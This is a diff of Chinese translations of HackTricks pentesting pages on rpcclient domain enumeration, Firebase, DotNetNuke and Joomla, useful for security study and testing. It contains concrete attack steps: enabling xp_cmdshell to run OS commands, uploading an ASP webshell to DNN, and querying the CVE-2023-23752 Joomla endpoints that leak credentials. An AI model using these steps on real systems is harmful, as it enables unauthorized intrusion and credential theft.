* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,31 +23,31 @@
|
|||
|
||||
***
|
||||
|
||||
### 相对标识符(RID)和安全标识符(SID)概述
|
||||
### 相对标识符 (RID) 和安全标识符 (SID) 概述
|
||||
|
||||
**相对标识符(RID)**和**安全标识符(SID)**是Windows操作系统中用于唯一标识和管理网络域内对象(如用户和组)的关键组件。
|
||||
**相对标识符 (RID)** 和 **安全标识符 (SID)** 是 Windows 操作系统中用于唯一标识和管理对象(如用户和组)在网络域内的关键组件。
|
||||
|
||||
- **SIDs** 用作域的唯一标识符,确保每个域都是可区分的。
|
||||
- **RIDs** 附加到SIDs以创建这些域内对象的唯一标识符。此组合允许对对象权限和访问控制进行精确跟踪和管理。
|
||||
- **SIDs** 作为域的唯一标识符,确保每个域都是可区分的。
|
||||
- **RIDs** 附加到 SIDs 上,以创建这些域内对象的唯一标识符。这种组合允许精确跟踪和管理对象权限和访问控制。
|
||||
|
||||
例如,名为`pepe`的用户可能具有将域的SID与其特定RID结合在一起的唯一标识符,以十六进制(`0x457`)和十进制(`1111`)格式表示。这导致在域内pepe的完整且唯一标识符如下:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
例如,一个名为 `pepe` 的用户可能有一个唯一标识符,将域的 SID 与他的特定 RID 结合在一起,以十六进制 (`0x457`) 和十进制 (`1111`) 格式表示。这导致 pepe 在域内的完整唯一标识符为:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
|
||||
|
||||
### 使用rpcclient进行枚举
|
||||
### **使用 rpcclient 进行枚举**
|
||||
|
||||
来自Samba的**`rpcclient`**实用程序用于通过命名管道与**RPC端点进行交互**。在**建立SMB会话**后,通常需要凭据才能发出以下命令到SAMR、LSARPC和LSARPC-DS接口。
|
||||
来自 Samba 的 **`rpcclient`** 工具用于通过命名管道与 **RPC 端点** 进行交互。以下命令可以在建立 **SMB 会话** 后发出,通常需要凭据。
|
||||
|
||||
#### 服务器信息
|
||||
|
||||
* 要获取**服务器信息**:使用`srvinfo`命令。
|
||||
* 要获取 **服务器信息**:使用 `srvinfo` 命令。
|
||||
|
||||
#### 用户枚举
|
||||
|
||||
* 使用以下命令可以**列出用户**:`querydispinfo`和`enumdomusers`。
|
||||
* 通过以下方式获取**用户的详细信息**:`queryuser <0xrid>`。
|
||||
* 使用以下命令获取**用户的组**:`queryusergroups <0xrid>`。
|
||||
* 通过以下方式检索**用户的SID**:`lookupnames <username>`。
|
||||
* 使用以下命令获取**用户的别名**:`queryuseraliases [builtin|domain] <sid>`。
|
||||
* **可以列出用户**:使用 `querydispinfo` 和 `enumdomusers`。
|
||||
* **获取用户详细信息**:使用 `queryuser <0xrid>`。
|
||||
* **获取用户的组**:使用 `queryusergroups <0xrid>`。
|
||||
* **通过** `lookupnames <username>` **检索用户的 SID**。
|
||||
* **通过** `queryuseraliases [builtin|domain] <sid>` **获取用户的别名**。
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -53,33 +56,33 @@ done
|
|||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### 枚举组
|
||||
#### 组的枚举
|
||||
|
||||
- 使用`enumdomgroups`来枚举**组**。
|
||||
- 使用`querygroup <0xrid>`来获取**组的详细信息**。
|
||||
- 通过`querygroupmem <0xrid>`来查看**组的成员**。
|
||||
* **通过**: `enumdomgroups` **获取** **组**。
|
||||
* **使用**: `querygroup <0xrid>` **获取组的详细信息**。
|
||||
* **通过**: `querygroupmem <0xrid>` **获取组的成员**。
|
||||
|
||||
#### 枚举别名组
|
||||
#### 别名组的枚举
|
||||
|
||||
- 使用`enumalsgroups <builtin|domain>`来枚举**别名组**。
|
||||
- 使用`queryaliasmem builtin|domain <0xrid>`来查看**别名组的成员**。
|
||||
* **通过**: `enumalsgroups <builtin|domain>` **获取别名组**。
|
||||
* **使用**: `queryaliasmem builtin|domain <0xrid>` **获取别名组的成员**。
|
||||
|
||||
#### 枚举域
|
||||
#### 域的枚举
|
||||
|
||||
- 使用`enumdomains`来枚举**域**。
|
||||
- 通过`lsaquery`来检索**域的SID**。
|
||||
- 使用`querydominfo`来获取**域信息**。
|
||||
* **使用**: `enumdomains` **获取域**。
|
||||
* **通过**: `lsaquery` **检索域的SID**。
|
||||
* **通过**: `querydominfo` **获取域信息**。
|
||||
|
||||
#### 枚举共享
|
||||
#### 共享的枚举
|
||||
|
||||
- 使用`netshareenumall`来列出**所有可用的共享**。
|
||||
- 使用`netsharegetinfo <share>`来获取特定共享的**信息**。
|
||||
* **通过**: `netshareenumall` **获取所有可用的共享**。
|
||||
* **使用**: `netsharegetinfo <share>` **获取特定共享的信息**。
|
||||
|
||||
#### 使用SID的附加操作
|
||||
#### 与SID的附加操作
|
||||
|
||||
- 使用`lookupnames <username>`来根据名称查找**SID**。
|
||||
- 通过`lsaenumsid`来获取更多**SID**。
|
||||
- 使用`lookupsids <sid>`来执行**RID循环**以检查更多**SID**。
|
||||
* **通过名称获取**: `lookupnames <username>` **的SID**。
|
||||
* **通过**: `lsaenumsid` **获取更多SID**。
|
||||
* **通过**: `lookupsids <sid>` **进行RID循环以检查更多SID**。
|
||||
|
||||
#### **额外命令**
|
||||
|
||||
|
@ -92,29 +95,32 @@ done
|
|||
| enumdomgroups | 枚举域组 | |
|
||||
| createdomuser | 创建域用户 | |
|
||||
| deletedomuser | 删除域用户 | |
|
||||
| lookupnames | LSARPC | 查找用户名到SID的值 |
|
||||
| lookupsids | 查找SID到用户名(RID循环) | |
|
||||
| lsaaddacctrights | 为用户帐户添加权限 | |
|
||||
| lookupnames | LSARPC | 查找用户名到SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)值 |
|
||||
| lookupsids | 查找SID到用户名(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)循环) | |
|
||||
| lsaaddacctrights | 向用户帐户添加权限 | |
|
||||
| lsaremoveacctrights | 从用户帐户中删除权限 | |
|
||||
| dsroledominfo | LSARPC-DS | 获取主域信息 |
|
||||
| dsenumdomtrusts | 枚举AD森林中的受信任域 | |
|
||||
| dsroledominfo | LSARPC-DS | 获取主要域信息 |
|
||||
| dsenumdomtrusts | 枚举AD森林中的受信域 | |
|
||||
|
||||
要更好地了解工具**samrdump**和**rpcdump**的工作原理,请阅读[**Pentesting MSRPC**](../135-pentesting-msrpc.md)。
|
||||
要**更好地理解**工具 _**samrdump**_ **和** _**rpcdump**_ 的工作原理,您应该阅读 [**Pentesting MSRPC**](../135-pentesting-msrpc.md)。
|
||||
|
||||
**Try Hard Security Group**
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想在HackTricks中看到您的**公司广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# Firebase数据库
|
||||
# Firebase Database
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 什么是Firebase
|
||||
## 什么是 Firebase
|
||||
|
||||
Firebase是主要用于移动应用程序的后端即服务。它专注于通过提供良好的SDK以及许多其他有趣的功能来简化编程后端的负担,从而促进应用程序与后端之间的交互。
|
||||
Firebase 是一种主要用于移动应用程序的后端即服务。它专注于消除编程后端的负担,提供一个良好的 SDK 以及许多其他有趣的功能,方便应用程序与后端之间的交互。
|
||||
|
||||
了解有关Firebase的更多信息:
|
||||
了解更多关于 Firebase 的信息:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,66 @@
|
|||
# DotNetNuke (DNN)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
如果以**管理员**身份登录DNN,很容易获得RCE。
|
||||
如果您以 **管理员** 身份登录 DNN,获取 RCE 很容易。
|
||||
|
||||
## RCE
|
||||
|
||||
### 通过SQL
|
||||
### 通过 SQL
|
||||
|
||||
在**`设置`**页面下可以访问SQL控制台,您可以在那里启用**`xp_cmdshell`**并**运行操作系统命令**。
|
||||
在 **`设置`** 页面下可以访问 SQL 控制台,您可以启用 **`xp_cmdshell`** 并 **运行操作系统命令**。
|
||||
|
||||
使用以下代码行来启用**`xp_cmdshell`**:
|
||||
使用以下行启用 **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
```
|
||||
然后,按下**"运行脚本"**来运行这些 SQL 语句。
|
||||
然后,按 **"Run Script"** 运行该 SQL 语句。
|
||||
|
||||
然后,使用类似以下内容来运行操作系统命令:
|
||||
然后,使用以下内容之一来运行 OS 命令:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
```
|
||||
### 通过 ASP webshell
|
||||
|
||||
在 `Settings -> Security -> More -> More Security Settings` 下,您可以在 `Allowable File Extensions` 下添加新的**允许的扩展名**,然后点击 `Save` 按钮。
|
||||
在 `Settings -> Security -> More -> More Security Settings` 中,您可以在 `Allowable File Extensions` 下 **添加新的允许扩展名**,然后点击 `Save` 按钮。
|
||||
|
||||
添加 **`asp`** 或 **`aspx`**,然后在 **`/admin/file-management`** 上传一个名为 `shell.asp` 的 **asp webshell** 。
|
||||
添加 **`asp`** 或 **`aspx`**,然后在 **`/admin/file-management`** 中上传一个名为 `shell.asp` 的 **asp webshell**。
|
||||
|
||||
然后访问 **`/Portals/0/shell.asp`** 来访问您的 webshell。
|
||||
|
||||
### 提权
|
||||
### 权限提升
|
||||
|
||||
您可以使用 **Potatoes** 或 **PrintSpoofer** 等工具来**提升权限**。 
|
||||
您可以使用 **Potatoes** 或 **PrintSpoofer** 进行 **权限提升** 例如。 
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在一家 **网络安全公司** 工作吗? 想要看到您的 **公司在 HackTricks 中被宣传**? 或者您想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**? 请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Joomla
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Joomla统计信息
|
||||
### Joomla 统计
|
||||
|
||||
Joomla收集一些匿名的[使用统计信息](https://developer.joomla.org/about/stats.html),例如Joomla、PHP和数据库版本的分布以及Joomla安装中使用的服务器操作系统。 可以通过他们的公共[API](https://developer.joomla.org/about/stats/api.html)查询这些数据。
|
||||
Joomla 收集一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的细分以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
|
@ -42,9 +45,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|||
}
|
||||
}
|
||||
```
|
||||
## 枚举
|
||||
## Enumeration
|
||||
|
||||
### 发现/足迹
|
||||
### Discovery/Footprinting
|
||||
|
||||
* 检查 **meta**
|
||||
```bash
|
||||
|
@ -52,8 +55,6 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
|||
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
||||
```
|
||||
* robots.txt
|
||||
|
||||
* robots.txt
|
||||
```
|
||||
# If the Joomla site is installed within a folder
|
||||
|
@ -65,34 +66,6 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
|||
[...]
|
||||
```
|
||||
* README.txt
|
||||
|
||||
## Joomla
|
||||
|
||||
### Introduction
|
||||
|
||||
Joomla is a popular Content Management System (CMS) that is used to build websites and online applications. It is important to pentest Joomla websites to identify and fix security vulnerabilities.
|
||||
|
||||
### Pentesting Joomla
|
||||
|
||||
When pentesting Joomla websites, some common vulnerabilities to look for include:
|
||||
|
||||
1. Outdated Joomla versions: Check if the Joomla version is outdated and vulnerable to known exploits.
|
||||
2. Insecure Joomla extensions: Vulnerabilities in third-party extensions can be exploited to compromise the website.
|
||||
3. Weak administrator passwords: Brute forcing or guessing weak passwords can give unauthorized access to the Joomla admin panel.
|
||||
4. SQL injection: Joomla websites can be vulnerable to SQL injection attacks if input validation is not properly implemented.
|
||||
5. File inclusion vulnerabilities: Check for file inclusion vulnerabilities that can be exploited to execute malicious code on the server.
|
||||
|
||||
### Tools for Pentesting Joomla
|
||||
|
||||
Some tools that can be used for pentesting Joomla websites include:
|
||||
|
||||
- **JoomScan**: A tool specifically designed for Joomla pentesting, it can scan Joomla installations for security vulnerabilities.
|
||||
- **OWASP ZAP**: An intercepting proxy tool that can be used to find security vulnerabilities in Joomla websites.
|
||||
- **SQLMap**: A popular tool for detecting and exploiting SQL injection vulnerabilities in Joomla and other web applications.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Pentesting Joomla websites is crucial to ensure the security of the website and protect against potential cyber attacks. By identifying and fixing vulnerabilities, website owners can prevent unauthorized access and data breaches.
|
||||
```
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
|
@ -105,21 +78,25 @@ Pentesting Joomla websites is crucial to ensure the security of the website and
|
|||
* 在 **/administrator/manifests/files/joomla.xml** 中可以看到版本。
|
||||
* 在 **/language/en-GB/en-GB.xml** 中可以获取 Joomla 的版本。
|
||||
* 在 **plugins/system/cache/cache.xml** 中可以看到一个大致的版本。
|
||||
|
||||
### 自动
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
### API未经身份验证的信息泄露:
|
||||
版本从4.0.0到4.2.7存在未经身份验证的信息泄露漏洞(CVE-2023-23752),将导致凭据和其他信息泄露。
|
||||
In[ **80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的一个部分**](./#cms-scanners) 可以扫描 Joomla。
|
||||
|
||||
- 用户:`http://<host>/api/v1/users?public=true`
|
||||
### API 未经身份验证的信息泄露:
|
||||
版本从 4.0.0 到 4.2.7 存在未经身份验证的信息泄露漏洞 (CVE-2023-23752),将泄露凭据和其他信息。
|
||||
|
||||
- 配置文件:`http://<host>/api/index.php/v1/config/application?public=true`
|
||||
* 用户: `http://<host>/api/v1/users?public=true`
|
||||
|
||||
**MSF模块**:`scanner/http/joomla_api_improper_access_checks`或ruby脚本:[51334](https://www.exploit-db.com/exploits/51334)
|
||||
* 配置文件: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
|
||||
**MSF 模块**: `scanner/http/joomla_api_improper_access_checks` 或 ruby 脚本: [51334](https://www.exploit-db.com/exploits/51334)
|
||||
|
||||
### 暴力破解
|
||||
|
||||
您可以使用此[脚本](https://github.com/ajnik/joomla-bruteforce)尝试对登录进行暴力破解。
|
||||
